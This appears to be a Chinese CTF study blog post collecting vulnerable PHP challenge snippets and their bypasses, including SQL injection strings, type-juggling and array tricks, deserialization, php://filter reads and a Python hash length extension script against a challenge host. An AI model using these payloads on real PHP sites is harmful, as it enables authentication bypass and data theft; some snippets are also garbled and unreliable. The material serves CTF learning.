当前位置: 首页 > news >正文

CTF-php特性绕过

注意:null==0 正确

null==flase 错误

Extract变量覆盖

<?php$flag='xxx'; 
extract($_GET);if(isset($shiyan)){ $content=trim(file_get_contents($flag));//trim移除引号if($shiyan==$content){ echo'ctf{xxx}'; }else{ echo'Oh.no';} }?>

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

exp

exp:?shiyan=&flag=1

避免

使用的时候加上参数EXTR_SKIP 这个参数表示如果有冲突,不不覆盖已有的变量或者还有EXTR_PREFIX_SAME.

过滤空白字符与is_numeric

<?php$info = ""; 
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告if(!isset($_GET['number'])){header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txtdie("have a fun!!"); //die — 等同于 exit()}foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 foreach($global_var as $key => $value) { $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串} 
} function is_palindrome_number($number) { $number = strval($number); //strval — 获取变量的字符串值$i = 0; $j = strlen($number) - 1; //strlen — 获取字符串长度while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true; 
} if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 
{$info="sorry, you cann't input a number!";}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{$info = "number must be equal to it's integer!! ";  }
else
{$value1 = intval($req["number"]);$value2 = intval(strrev($req["number"]));  if($value1!=$value2){$info="no, this is not a palindrome number!";}else{if(is_palindrome_number($req["number"])){$info = "nice! {$value1} is a palindrome number!"; }else{$info=$flag;}}}echo $info;
  • \f c语言中,\f(%0c)是换页的意思,因此有着当空白字符的能力
  • %00 截断 %00在c语言中是结束的最后字符

解题思路

  1. 首先第一点是需要绕过判断的函数is_numeric($_REQUEST),可以使用%00截断,也可以先使用get传参,后使用post覆盖。具体去了解request穿参。

https://www.cnblogs.com/miyeah/p/4005269.html

  1. 要求 $req['number']==strval(intval($req['number']))//十进制转换成字符串
  2. 要求intval($req['number']) == intval(strrev($req['number']))//strrev 反转字符串
  3. is_palindrome_number()返回False,这个条件只要在一个回文数比如191前面加一个字符即可实现
import requests
for i in range(256):rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i))if '1' in rq.text:print "%%%02X"%i

%%%02x 前两个百分号是输出一个百分号,第一个百分号用来转义第二个百分号的。第三个自然是格式的输出。

fuzz的结果

%0C
%2B
<?phperror_reporting(0);
$flag = "flag{test}";$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;    
if($temp>1336){echo $flag;
} ?>

temp=1337a

多重加密

<?phpinclude 'common.php';$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);//把一个或多个数组合并为一个数组class db{public $where;function __wakeup(){if(!empty($this->where)){$this->select($this->where);}}function select($where){$sql = mysql_query('select * from user where '.$where);//函数执行一条 MySQL 查询。return @mysql_fetch_array($sql);//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false}}if(isset($requset['token']))//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。{$login = unserialize(gzuncompress(base64_decode($requset['token'])));//gzuncompress:进行字符串压缩//unserialize: 将已序列化的字符串还原回 PHP 的值$db = new db();$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。if($login['user'] === 'ichunqiu'){echo $flag;}else if($row['pass'] !== $login['pass']){echo 'unserialize injection!!';}else{echo "(╯‵□′)╯︵┴─┴ ";}}else{header('Location: index.php?error=1');}?> 

token的加密,对token进行base64解密然后压缩,最后反序列化。

自然我们可以先进行序列化然后压缩,最后base64加密。

当然,我们需要让token的user属性是ichunqiu,于是就有了

<?php$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// echo $token;?>

eJxLtDK0qs60MrBOAuJaAB5uBBQ=

ereg和strops

<?php $flag = "flag";if (isset ($_GET['password'])) 
{if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){echo '<p>You password must be alphanumeric</p>';}else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置{die('Flag: ' . $flag);}else{echo('<p>*-* have not been found</p>'); }}else {echo '<p>Invalid password</p>'; }} 
?>

?password=1e9%00*_*

https://blog.csdn.net/Xxy605/article/details/109908059

<?php$flag = "flag";if (isset ($_GET['nctf'])) {if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)echo '必须输入数字才行';else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   die('Flag: '.$flag);elseecho '骚年,继续努力吧啊~';}?>
  • strpos()找的是字符串,那么传一个数组给它,就是null,null!==flasenctf[]=

那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.

  • 字符串截断,利用ereg()NULL截断漏洞,绕过正则过滤,注意将#编码,不进行url编码会当作分隔符

https://blog.csdn.net/liu943367080/article/details/97130559

<?php  $flag = "flag";  if (isset ($_GET['password'])) {  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  echo 'You password must be alphanumeric';  else if (strpos ($_GET['password'], '--') !== FALSE)  die('Flag: ' . $flag);  else  echo 'Invalid password';  
}  
?>

strcmp比较字符串

<?php
$flag = "flag";
if (isset($_GET['a'])) {  if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 //比较两个字符串(区分大小写) die('Flag: '.$flag);  else  print 'No';  
}?>

?a[]=1

使用:php<5.3的时候,传入非字符数也会报错

传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误

sha()函数比较绕过

<?php$flag = "flag";if (isset($_GET['name']) and isset($_GET['password'])) 
{if ($_GET['name'] == $_GET['password'])echo '<p>Your password can not be your name!</p>';else if (sha1($_GET['name']) === sha1($_GET['password']))die('Flag: '.$flag);elseecho '<p>Invalid password.</p>';
}
elseecho '<p>Login first!</p>';
?>

sha1()函数和md5()函数存在着漏洞,sha1()函数默认的传入参数类型是字符串型,那要是给它传入数组呢会出现错误,使sha1()函数返回错误,也就是返回false,这样一来===运算符就可以发挥作用了,需要构造usernamepassword既不相等,又同样是数组类型

所以payload:?name[]=a&amp;password[]=b

session绕过

<?php$flag = "flag";session_start(); 
if (isset ($_GET['password'])) {if ($_GET['password'] == $_SESSION['password'])die ('Flag: '.$flag);elseprint '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

删除cookies或者删除cookies的值,同时把password的值置空

密码比较md5绕过

<?php//配置数据库
if($_POST[user] && $_POST[pass]) {$conn = mysql_connect("********, "*****", "********");mysql_select_db("phpformysql") or die("Could not select database");if ($conn->connect_error) {die("Connection failed: " . mysql_error($conn));
} //赋值$user = $_POST[user];
$pass = md5($_POST[pass]);//sql语句// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # // ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {printf("Error: %s\n", mysql_error($conn));exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。echo "<p>Logged in! Key:************** </p>";
}
else {echo("<p>Log in failure!</p>");}
}
?>

?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

二次编码绕过

<?php
if(eregi("hackerDJ",$_GET[id])) {echo("<p>not allowed!</p>");exit();
}$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{echo "<p>Access granted!</p>";echo "<p>flag: *****************} </p>";
}
?>

因为get传参以后会自动进行一次url编码,所以一共要两次

sql特殊绕过

闭合绕过

<?phpif($_POST[user] && $_POST[pass]) {$conn = mysql_connect("*******", "****", "****");mysql_select_db("****") or die("Could not select database");if ($conn->connect_error) {die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);//select user from php where (user='admin')#//exp:admin')#$sql = "select user from php where (user='$user') and (pw='$pass')";
$query = mysql_query($sql);
if (!$query) {printf("Error: %s\n", mysql_error($conn));exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];if($row['user']=="admin") {echo "<p>Logged in! Key: *********** </p>";}if($row['user'] != "admin") {echo("<p>You are not admin!</p>");}
}?>

admin')#

with ROLLUP绕过

<?php
error_reporting(0);if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {echo '<form action="" method="post">'."<br/>";echo '<input name="uname" type="text"/>'."<br/>";echo '<input name="pwd" type="text"/>'."<br/>";echo '<input type="submit" />'."<br/>";echo '</form>'."<br/>";echo '<!--source: source.txt-->'."<br/>";die;
}function AttackFilter($StrKey,$StrValue,$ArrReq){  if (is_array($StrValue)){//检测变量是否是数组$StrValue=implode($StrValue);//返回由数组元素组合成的字符串}if (preg_match("/".$ArrReq."/is",$StrValue)==1){   //匹配成功一次后就会停止匹配print "水可载舟,亦可赛艇!";exit();}
}$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ //遍历数组AttackFilter($key,$value,$filter);
}$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);//设置活动的 MySQL 数据库$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); //执行一条 MySQL 查询if (mysql_num_rows($query) == 1) { //返回结果集中行的数目$key = mysql_fetch_array($query);//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 falseif($key['pwd'] == $_POST['pwd']) {print "CTF{XXXXXX}";}else{print "亦可赛艇!";}
}else{print "一颗赛艇!";
}
mysql_close($con);
?>

admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -

https://blog.csdn.net/qq_35078631/article/details/54772798

offset 1表示跳过一条数据

Desc(反引号)

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

https://blog.csdn.net/shuteer_xu/article/details/107478640

ctf@localhost

查表,查列的时候,数据库名使用16进制

`flag` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1`

有版本限制的。

or绕过

<?php#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';function clean($str){if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置$str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。 }return htmlentities($str, ENT_QUOTES);
}$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);//$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){die('Invalid password!');
}echo $flag;?>

$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';

?username=admin\'\' AND pass=\''or 1 #&password=

闭合重构造

//select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #

xff绕过指定ip地址

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))$cip = $_SERVER["REMOTE_ADDR"];
else$cip = "0.0.0.0";
return $cip;
}$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

md5加密绕过

<?php$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {echo "nctf{*****************}";
} else {echo "false!!!";
}}
else{echo "please input a";}?>

0=0

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {if ($_GET['username'] == $_GET['password'])print 'Your password can not be your username.';else if (md5($_GET['username']) === md5($_GET['password']))die('Flag: '.$flag);elseprint 'Invalid password';
}
?>

强等于只能用数组绕过

?username[]=1&password[]=2,每次得出来的都是null

<?phperror_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){echo $flag;
}?>
  • Password 置空,null==0 是true
  • 0e开头

md5加密的sql注入

<?php 
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) { die('Could not connect to MySQL: ' . mysql_error()); 
} 
// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{echo 'select db error';exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

https://www.cnblogs.com/beijibing/p/10393526.html

interval函数四舍五入

<?phpif($_GET[id]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$id = intval($_GET[id]);$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));if ($_GET[id]==1024) {echo "<p>no! try again</p>";}else{echo($query[content]);}
}?>

1024.1

四舍五入绕过最基本的if判断

十六进制与数字比较

<?phperror_reporting(0);
function noother_says_correct($temp)
{$flag = 'flag{test}';$one = ord('1');  //ord — 返回字符的 ASCII 码值$nine = ord('9'); //ord — 返回字符的 ASCII 码值$number = '3735929054';// Check all the input characters!for ($i = 0; $i < strlen($number); $i++){ // Disallow all the digits!$digit = ord($temp{$i});if ( ($digit >= $one) && ($digit <= $nine) ){// Aha, digit not allowed!return "flase";}}if($number == $temp)return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);?>

这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x开头则表示16进制,将这串数字转换成16进制之后发现,是deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的

3735929054比较,答案当然是相同的,返回true拿到flag

echo dechex ( 3735929054 ); // 将3735929054转为16进制

结果为:deadc0de

构造:

http://127.0.0.1/Php_Bug/20.php?password=0xdeadc0de

数字验证正则绕过

<?php
error_reporting(0);
$flag = 'flag{test}';
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ $password = $_POST['password']; if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配{ echo 'Wrong Format'; exit; } while (TRUE) { $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; if (6 > preg_match_all($reg, $password, $arr)) break; $c = 0; $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 foreach ($ps as $pt) { if (preg_match("/[[:$pt:]]+/", $password)) $c += 1; } if ($c < 3) break; //>=3,必须包含四种类型三种与三种以上if ("42" == $password) echo $flag; else echo 'Wrong password'; exit; } 
}?>

0 >= preg_match('/^[[:graph:]]{12,}$/', $password)

意为必须是12个字符以上(非空格非TAB之外的内容)

$password分成连续的符号punct或者数字digit或者大写upper或者小写lower能分成6段以上

而且必须要有大小写字母,数字,字符内容三种与三种以上,最后还要等于42

42.00e+00000000000 
或
42.Hell0dddddddddd

switch没有break

<?phperror_reporting(0);if (isset($_GET['which']))
{$which = $_GET['which'];if ($which===0||$which===1||$which===2)die("no,no,no,no");switch ($which){case 0:case 1:case 2:require_once $which.'.php';echo $flag;break;default:echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);break;}
}?>

https://zhidao.baidu.com/question/336186893.html

输入任意字符串即可

反序列化

unserialize()会忽略多余的字符

<!-- index.php -->
<?php require_once('shield.php');$x = new Shield();isset($_GET['class']) && $g = $_GET['class'];if (!empty($g)) {$x = unserialize($g);}echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/><!-- shield.php --><?php//flag is in pctf.phpclass Shield {public $file;function __construct($filename = '') {$this -> file = $filename;}function readfile() {if (!empty($this->file) && stripos($this->file,'..')===FALSE  && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {return @file_get_contents($this->file);}}}
?><!-- showimg.php -->
<?php$f = $_GET['img'];if (!empty($f)) {$f = base64_decode($f);if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE//stripos — 查找字符串首次出现的位置(不区分大小写)&& stripos($f,'pctf')===FALSE) {readfile($f);} else {echo "File not found!";}}
?>
<!-- answer.php -->
<?phprequire_once('shield.php');
$x = new Shield();
$g = serialize($x);
echo $g;?><!-- shield.php -->
<?php//flag is in pctf.phpclass Shield {public $file;function __construct($filename = 'pctf.php') {$this -> file = $filename;}function readfile() {if (!empty($this->file) && stripos($this->file,'..')===FALSE  && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {return @file_get_contents($this->file);}}}
?>

得到:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

构造 http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

反序列化逃逸

<?php
function filter($str){return str_replace('bb', 'ccc', $str);
}
class A{public $name='aaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';public $pass='123456';
}
$AA=new A();
$res=filter(serialize($AA)."\n");echo $res;
$c=unserialize($res);var_dump($c);
?>

直接能造成逃逸

哈希长度拓展攻击

<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">body {background:gray;text-align:center;}
</style>
</head><body><?php$auth = false;$role = "guest";$salt =if (isset($_COOKIE["role"])) {$role = unserialize($_COOKIE["role"]);$hsh = $_COOKIE["hsh"];if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"])))
// strrev返回 string 反转后的字符串。 {$auth = true;} else {$auth = false;}} else {$s = serialize($role);setcookie('role',$s);$hsh = md5($salt.strrev($s));setcookie('hsh',$hsh);}if ($auth) {echo "<h3>Welcome Admin. Your flag is } else {echo "<h3>Only Admin can see the flag!!</h3>";}?></body>

https://www.cnblogs.com/Cl0ud/p/13380114.html

所以我们需要突破的是

$role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))

先看后面的比较

左边的$hsh是我们COOKIE中传递过去的$hsh 哈希值

右边是使用盐值和反转后的传过去的role值连接后,并进行md5加密的结果,需要与$hsh相等

这里看上去是无懈可击的,虽然我们可以传递hsh和role的值,但是因为我们不知道盐值,所以得到的md5很难凭猜或者爆破来令其与hsh相等。

但是如MD5,SHA1, SHA2等,都是基于Merkle–Damgård结构,而这类算法的问题在于:如果你知道加密前的原文,和加密后的密文,只需要再知道盐值的长度,就能在原文后面添加信息并计算出相应的密文。

在pcat的博文中介绍过应用场景为

如果一个应用程序是这样操作的:

  1. 准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)

  2. 让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文

  3. 服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值

这个时候,该应用程序就易受长度扩展攻击

另外,只有盐值在前,原文在后,才可以用hash长度扩展攻击。

预测得到的是:

md5(盐+原文+填充+恶意扩充)

哈希长度扩展攻击我们通常使用HashPump进行利用

HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

我们先进行抓包

这里还利用了PHP反序列化unserialize的一个特性,即unserialize()会忽略多余的字符

例如:

<?php
$s = 's:5:"admin"; s:5:"guest";';
echo unserialize($s);
?>

可以看到,后面的guest被忽略了,没有进行反序列化,而是被忽略了,这也是我们使用填充字符进行哈希长度扩展攻击的关键。

另外我们虽然不知道盐值的长度,但是我们可以进行逐个尝试

将获得的结果反序后重放

import requests,hashpumpy,urllibdef attack():url = 'http://web.jarvisoj.com:32778/'old_cookie = '3a4727d57463f122833d9e732f94e4e0'str1 = 's:5:"guest";'str2 = 's:5:"admin";'str1 = str1[::-1]                           #倒过来,这道题要role的值反过来求md5str2 = str2[::-1]for i in range(1,20):                       #用于爆破salt的长度new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,i)payload = {'role':urllib.parse.quote(message[::-1]),'hsh':new_cookie}           #quote()可以把 \x00 变成 %00ans = requests.get(url,cookies = payload)print(i)print(ans.text)if 'flag' in ans.text:print(ans.text)
#print(urllib.parse.quote('\x00'))
attack()

数组提交绕过逻辑

<?php 
$role = "guest";
$flag = "flag{test_flag}";
$auth = false;
if(isset($_COOKIE["role"])){$role = unserialize(base64_decode($_COOKIE["role"]));if($role === "admin"){$auth = true;}else{$auth = false;}
}
else{$role = base64_encode(serialize($role));setcookie('role',$role);
}
if($auth){if(isset($_POST['filename'])){$filename = $_POST['filename'];$data = $_POST['data'];if(preg_match('[<>?]', $data)) {die('No No No!'.$data);}else {$s = implode($data);if(!preg_match('[<>?]', $s)){$flag='None.';}$rand = rand(1,10000000);$tmp="./uploads/".md5(time() + $rand).$filename;file_put_contents($tmp, $flag);echo "your file is in " . $tmp;}}else{echo "Hello admin, now you can upload something you are easy to forget.";echo "<br />there are the source.<br />";echo '<textarea rows="10" cols="100">';echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));echo '</textarea>';}
}
else{echo "Sorry. You have no permissions.";
}
?>

想要通过Post请求的形式传入数组可以使用 data[0]=123&data[1]=<> 的形式传入数组,这样的话在执行 implode() 函数的时候就不会使 &s 为空,成功绕过这段逻辑拿到flag。

伪协议

<?php
error_reporting(0);
echo "<!--index.phps-->";if(!$_GET['id'])
{header('Location: index.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{echo 'Hahahahahaha';return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{require("flag.txt");
}
else
{print "work harder!harder!harder!";
}?>

?id=aaa&b=%00123456&a=php//:input

post: 1112 is a nice lab!

得到{/^HT2mCpcvOLf}其中^经过url编码为%5e,所以最后访问即

写入的读

<?php
//what you want to see is in ssssrf.php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['crack_me.com']))
{$filename=$_POST['crack_me.com'];if(stripos($filename, 'bingbing')>0){ echo file_get_contents($filename); }else{die("you don't like  bingbing ???");}
}
else
{die("can't pass the level?hai xiang kai junjian?");
} 

[会代替成为_

crack[me.com=php://filter/read=convert.base64|bingbing/resource=xxx.php

php伪随机数

<?php
//next ,you can try ccccmd.php
error_reporting(0);
function curl($url){$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);
}
$num=$_GET['num'];
mt_srand(getenv('SEED'));
$r1=mt_rand();
echo $r1;
$r2=mt_rand();
if($num==$r2){$url=$_GET['url'];curl($url);
}

这里需要先绕过$r2=mt_rand();

https://gitee.com/jrand/php_mt_seed

用这个工具.

相关文章:

CTF-php特性绕过

注意&#xff1a;null0 正确 nullflase 错误 Extract变量覆盖 <?php$flagxxx; extract($_GET);if(isset($shiyan)){ $contenttrim(file_get_contents($flag));//trim移除引号if($shiyan$content){ echoctf{xxx}; }else{ echoOh.no;} }?> extract() 函数从数组中将…...

人脸识别测试数据分析

一个人脸识别研究小组对若干名学生做了人脸识别的测试&#xff0c;将测试结果写入到一个文件 dir_50.txt 中&#xff0c;每一行是一张照片的识别结果“_照片编号”“.jpg”的字符串组合&#xff0c;示例如下&#xff1a; [1709020621, 0]_116.jpg [1709020621]_115.jpg [17706…...

MySQL 5.7限制general_log日志大小

背景 需求&#xff1a; 在MySQL 5.7.41中开启general_log 并限制其大小&#xff0c;避免快速增长占用硬盘空间。 解决&#xff1a; 通过定时任务&#xff0c;执行简单的脚本&#xff0c;判断general_log 日志的大小&#xff0c;实现对通用查询日志的“每日备份”或“每日清…...

tomcat9~10猫闪退个人经验

java版本17与8 8版本有jre&#xff0c;java17没有jre 所以在java8版本中将jre和jdk路径一同添加环境是不会出现闪退的&#xff0c;tomcat9没有闪退 但是在10就闪退了&#xff0c;因为java版本太低 java17没有jre&#xff0c;但是可以通过一种方法添加jre到java17的目录 完…...

Linux之J2EE的项目部署及发布

目录 前言 一、会议OA单体项目windows系统部署 1.检验工作 1. 检验jar项目包是否可以运行 2. 验证数据库脚本是否有误 3. 测试项目功能 2. 部署工作 2.1 传输文件 2.2 解压项目及将项目配置到服务器中 2.3 配置数据库 2.4 在服务器bin文件下点击startup.bat启动项目 …...

基于闪电搜索算法的无人机航迹规划-附代码

基于闪电搜索算法的无人机航迹规划 文章目录 基于闪电搜索算法的无人机航迹规划1.闪电搜索搜索算法2.无人机飞行环境建模3.无人机航迹规划建模4.实验结果4.1地图创建4.2 航迹规划 5.参考文献6.Matlab代码 摘要&#xff1a;本文主要介绍利用闪电搜索算法来优化无人机航迹规划。 …...

【网络安全 --- 文件上传靶场练习】文件上传靶场安装以及1-5关闯关思路及技巧,源码分析

一&#xff0c;前期准备环境和工具 1&#xff0c;vmware 16.0安装 若已安装&#xff0c;请忽略 【网络安全 --- 工具安装】VMware 16.0 详细安装过程&#xff08;提供资源&#xff09;-CSDN博客文章浏览阅读186次&#xff0c;点赞9次&#xff0c;收藏2次。【网络安全 --- 工…...

BUUCTF刷题记录

[BJDCTF2020]Easy MD51 进入题目页面&#xff0c;题目提示有一个链接&#xff0c;应该是题目源码 进入环境&#xff0c;是一个查询框&#xff0c;无论输入什么都没有回显&#xff0c;查看源码也没什么用 利用bp抓包查看有没有什么有用的东西 发现响应的Hint那里有一个sql语句&…...

黑客技术(网络安全)—小白自学

目录 一、自学网络安全学习的误区和陷阱 二、学习网络安全的一些前期准备 三、网络安全学习路线 四、学习资料的推荐 想自学网络安全&#xff08;黑客技术&#xff09;首先你得了解什么是网络安全&#xff01;什么是黑客&#xff01; 网络安全可以基于攻击和防御视角来分类&am…...

免登陆 同步脚本 zookeeper kafka集群详细安装步骤

一.免登陆配置 #修改注解名 vim /etc/hostname #修改host文件 vim /etc/hosts 192.168.1.10 kafka1 kafka1 192.168.1.11 kafka2 kafka2 192.168.1.12 kafka3 kafka3#免登陆生成秘钥和授权自动登陆 ssh-keygen -t rsa cd ~/.ssh shh-copy-id kafka1 shh-copy-id kafka2 shh-co…...

深入理解NLP

引子 自然语言处理&#xff08;Natural Language Processing, NLP&#xff09;是人工智能领域中的一个重要研究方向&#xff0c;它涉及了计算机与人类自然语言之间的交互和理解。 1. NLP的起源与发展 NLP的起源可以追溯到早期的机器翻译项目&#xff0c;随着科技的进步&…...

Python-自动化绘制股票价格通道线

常规方案 通过将高点/低点与其 2 个或 3 个相邻点进行比较来检测枢轴点,并检查它是否是其中的最高/最低点。对所有枢轴点进行线性回归以获得上方和下方趋势线。价格离开通道后建仓。通过这样做,我们得到如下所示的价格通道。我认为我们可以利用给定的数据取得更好的结果。...

CTF-Crypto学习记录-第四天 “ “ --- SHA1安全散列算法,实现原理。

文章目录 前言SHA-1加密算法介绍关于SHA-1和MD5 SHA-1 加密过程原文处理设置初始值和数据结构定义加密运算原理过程 在python中调用SHA-1 前言 MD5学习MD5加密算法 SHA-1加密算法介绍 SHA-1&#xff08;Secure Hash Algorithm1&#xff0c;安全散列算法1&#xff09;是一种密…...

海南海口大型钢结构件3D扫描全尺寸三维测量平面度平行度检测-CASAIM中科广电

高精度三维扫描技术已经在大型工件制造领域发挥着重要作用&#xff0c;特别是在质量检测环节&#xff0c;高效、高精度&#xff0c;可以轻松实现全尺寸三维测量。本期&#xff0c;CASAIM要分享的应用是在大型钢结构件的关键部位尺寸及形位公差检测。 钢结构件&#xff0c;是将…...

【PyQt学习篇 · ④】:QWidget - 尺寸操作

